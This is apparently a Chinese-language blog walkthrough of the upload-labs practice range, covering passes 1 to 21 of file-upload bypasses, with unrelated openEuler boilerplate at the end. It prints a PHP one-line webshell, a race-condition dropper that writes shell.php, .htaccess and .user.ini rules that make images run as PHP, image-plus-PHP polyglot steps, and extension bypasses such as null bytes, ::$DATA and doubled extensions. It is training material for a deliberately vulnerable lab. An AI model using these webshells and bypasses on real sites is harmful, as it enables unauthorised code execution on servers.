文件上传靶场
pass-1

先来最简单的抓包,写个有一句话木马,php文件
<?php
@eval($_POST['cmd']);
?>

需要绕过js检测。js在前端,直接抓包,改一下后缀。


蚁剑连接成功。
pass-2
开始进行黑盒测试。

第二关应该是对content-type,进行检测,我们直接改一下文件名后缀为php,上传成功

蚁剑连一下就可以了。
pass-3

不允许上传这些文件。有一些网站可以将php3,php5,phtml给当成php文件去读。
对于Windows系统,文件后缀上加上空格会直接删去空格,我们以这个思路试试。
记得删去刚才上传过的文件。

可以看到上传的文件,的名字被改为以当前时间为基础的数字,试试可以连不,因为这个和阿帕奇的配置文件有关,对于PHP中nst版本不再有此功能,服务器无法当做php文件来读。

数据为空,看来这个php5的文件在这个apache版本不能当作php文件去读,安全性提升。
试试空格绕过。
php后缀加上多个空格无法绕过。
试一下php. .
成功了,但是给的文件路径是http://upload-labs:9993/upload/202601310730324191.
PHP后缀给截断了
双写依旧不行。
那就直接试一下上传.htaccess文件,让它把.png文件给当成.php文件去读。

没招了,看一下源码,这里除了,后缀绕过,其他基本都不行,这是apache版本的问题,在apache文件中改conf配置文件中 httpd.conf文件,

这是增加的部分
<IfModule mod_mime.c>
AddType application/x-httpd-php .php5
</IfModule>
告诉 Apache 的 MIME 模块(mod_mime),.php5 后缀的文件属于 PHP 脚本类型,而不是纯文本 / 下载文件。
<IfModule mod_rewrite.c>
RewriteEngine On # 开启 URL 重写功能
RewriteCond %{REQUEST_FILENAME} !-d # 条件1:请求的不是一个目录(!-d 表示“不 是目录”)
RewriteCond %{REQUEST_FILENAME} !-f # 条件2:请求的不是一个已存在的文件(!-f 表示“不是文件”)
RewriteRule ^(.*)\.php5$ $1.php [L] # 重写规则:把所有 xxx.php5 的请求,转换成 xxx.php 来处理
</IfModule>
这相当于试题没答案直接改试卷,故意给留了个漏洞,当然在正常的黑盒测试中是不能的。
这里使用后缀绕过。
当然这里出现了这个问题可以说明现在这种漏洞很小概率才会碰到。
pass-4
这里发现改后缀不行了,试一下上传一个.htaccess,这个文件是优先级较高可以在此目录直接生效。我们让它把.png文件当成php文件来读。前提是apache没有禁止该文件在其他目录中的使用
<FilesMatch "\.png$">
SetHandler application/x-httpd-php
</FilesMatch>
上传后再,上传php文件,把它后缀给改一下。

这里我遇到了一些问题
1,htaccess被apache禁止,在httpd.conf文件中改一下
根目录一定要有这个
AllowOverride All
后面如果是none是不允许,htaccess在文件夹中生效的。
改完之后还不行
2,由于我是用的是小皮面板虚拟环境,在 FastCGI 模式下,。htaccess 无法像在 Apache 模块模式(mod_php)那样直接调用 PHP 解释器,它需要非常精确的配置才能生效。
种种原因导致.htaccess文件不能生效。
pass-5
试了一下前面的方法发现都不行,刚才看到upload文件有一个readme.php文件,可以用文件包含,在.user.ini里面写上让所有PHP文件包含写的那个木马文件。
auto_prepend_file=1.png

上传成功,注意文件在PHP7点多以上没出现乱码情况,还有如果PHP为5.2.7可以用php. .进行绕过

pass-6
如果还是5.2.7的可以用php. .绕过,
还可以用大写绕过,
因为windows服务器,在对文件命名时自动把后缀大写转小写,所以可以进行大写绕过
pass-7
空格绕过

在后缀后面加空格。
pass-8


可以看到上传php后缀后面加上. .之后,成功且后缀无变化,它只检测最后那个点后的,如果只多加一个点会怎么样
如果是Windows服务器,文件名后面的那个点会直接给删去,所以可以成功,在服务器中一定是1.php


pass-9
前面的都试一下,不行。在试一下那个额外数据流。
ADS绕过
ADS 是 Windows NTFS 文件系统的特有特性,允许一个文件关联多个 “隐藏的数据流”,格式为:主文件名:数据流名(比如 shell.png:1.php)。
在文件名后面加上::$DATA让php认为上传文件为一个额外数据流,让PHP看走眼。
Windows服务器会把后面::$DATA给去掉

连一下

pass-10
直接上传1.php. .
对于windows服务器会删去后缀中连续的点,中间加个空格只会删一个点,最后Windows会把php后面那个点也删去

pass-11
提示中说会删去后缀,猜测双写
1.pphphp,它检测到一个php删去剩下一个。
看到源码中的函数,证明猜想正确。
pass-12
空字符%00绕过
通过源码发现这是个白名单。
Windows系统由C语言编写,Windows服务器会认定%00后面的信息为无用信息,再加上上传文件是先到临时目录再到URL指定upload文件夹中,可以把木马以jpg上传,以%00截断方式让它内容保存在一个PHP文件中。

成功。把后面的图片文件删去就可以了。

pass-13

保存路径以POST请求发出。和12关思路相同。

直接写%00会失败,在POST请求中一般被当作原始字节流,所以无效。
用ASCII编一下码
pass-14
图片字节表示
JPEG/JFIF(常见的图片格式):头两个字节 0xFF 0xD8
PNG(无损压缩格式):头两个字节为0x89 0x50
GIF(支持动画的图像格式):头两个字节为0x47 0x49
BMP(Windows位图格式):头两个字节 0x42 0x4D
TIFF(标签图像文件格式):头两个字节可以是不同的数值。
字节通常表示一个八位的二进制数字序列
UTF-8中,一个英文字符占一个字节,中文占3个字节
首先该题是对文件的前两个字节进行检测,我们在我们写的一句话木马文件中的前面加上可以上传的文件标识
有文件包含漏洞

没有对包含的文件类型进行过滤,可以利用。


我们include.php在木马文件的上级目录,利用文件包含漏洞执行PHP一句话木马。

pass-15
这个和上面那个不一样,这里有个函数会检查图片长和高
getimagesize() 的核心作用是获取图片文件的尺寸(宽 / 高)以及图片类型、MIME 类型等关键信息。
| 索引 / 键名 | 示例值 | 说明 |
| [0] | 800 | 图片宽度(像素) |
| [1] | 600 | 图片高度(像素) |
| [2] | 2 | 图片类型常量(1=GIF,2=JPG,3=PNG 等) |
| []3 | width="800" height="600" | 可直接用于 HTML 的 img 标签的宽高属性 |
| 'bits' | 8 | 图片每个颜色通道的位数 |
| 'mime' | image/jpeg | 图片的 MIME 类型(用于验证文件真实类型) |
由于会有宽高检测,上个方法无效,我们把木马写入一个图片中,利用文件包含漏洞执行。
copy 5.png/b+3.php hack.png
/b 是二进制模式(binary),表示以二进制格式处理5.png(图片是二进制文件,必须用/b,否则会按文本模式处理导致图片损坏)
+ :合并符,用于将多个文件按顺序拼接成一个新文件

pass-16
这个只是检测函数变了
exif_imagetype()是轻量高效的图片真实类型验证工具,仅检查文件头部字节,速度远快于getimagesize()
可以用同样方式连上
pass-17
Pass-17 的核心二次渲染函数是:imagejpeg()、imagepng()、imagegif()(负责输出新图片);
前置的画布创建函数是imagecreatefromjpeg/png/gif(),是渲染的前提;
这些渲染函数只保留图片的像素数据,会过滤掉所有非图片字节(如 PHP 代码),导致普通图片马失效。
如果上传后可以拿到渲染过的图,就直接插入php一句话木马,
pass-18
条件竞争

直接从临时文件保存到服务器,在临时文件中没有检测文件类型,在服务器检测,这一关我们需要上传上面准备的生成木马的脚本,在文件被删除前访问它,执行里面的代码创建木马文件
生成小马PHP
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['a'])?>');?>
用BP抓包

发给Intruder,准备攻击。

访问该文件,抓包

发给Intruder

设置一下payload,开始攻击。
这个有些考验服务器性能。
可能不会成功,也可能直接成功。
pass-19
这个利用apache的解析漏洞和条件竞争。
这个是本题源码
* @param String $dir 上传目标目录
* @return 状态码(成功/失败标识)
*/
function upload( $dir ){
// 步骤1:验证是否为合法的HTTP上传文件(防止伪造上传请求)
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret ); // 验证失败,返回对应状态码
}
// 步骤2:设置并检查上传目录(是否存在、是否可写)
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 步骤3:检查文件扩展名是否在允许的白名单中
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 步骤4:检查文件大小是否符合系统限制
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 步骤5:如果开启了“文件存在检查”,验证目标目录是否有同名文件
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// 步骤6:所有验证通过,将临时文件移动到目标上传目录
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 步骤7:如果开启了“文件重命名”,执行重命名(index.php中传入时间戳作为新名)
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// 所有步骤完成,返回成功状态码
return $this->resultUpload( "SUCCESS" );
}
有后缀检测不能直接用上一关方法。
apache的解析漏洞是当apache不认识最后的后缀,它会解析前一个后缀。
把PHP文件写成.php.7z
同样会先当临时文件储存,再到服务器upload中。
条件竞争。
pass-20
绕过方式:
(1)后面直接加空格
(2)后面加点
(3).user.ini上传
(4)点空格
(5)php/. move函数移动时会把转义字符/去掉
(6)在后缀php,后面加上 0x00十六进制码后面再加点加后缀,php .jpg或者php .png POST请求
(7)附加数据流 ::$DATA
pass-21
分析代码
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); #白名单content/type if(!in_array($_FILES['upload_file']['type'],$allow_type)){ #检测是否和白名单后缀一致 $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; #判断save_name是不是空是空,用原名,不是用保存名字 if (!is_array($file)) { $file = explode('.', strtolower($file)); #不是数组用点来分隔变成数组 } $ext = end($file);#获取最后值 $allow_suffix = array('jpg','png','gif'); #再次白名单判断 if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1];#文件名拼接,count是数组有多少个元素 ,这里是主要漏洞 由于前面对最后一位数值进行检测,所以要保证最后一位是合规的图片后缀,这里绕过前面检测,后面这个数组要在PHP后缀加点加空,后面再加上合规后缀就行了 $temp_file = $_FILES['upload_file']['tmp_name'];#临时文件名 $img_path = UPLOAD_PATH . '/' .$file_name;#最终路径 if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
首先绕content
然后让它判断文件名为数组形式
然后保证最后那个数组为合法格式
保证第一个数组为PHP后缀,才能在拼接后绕过
中间有空字符


openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)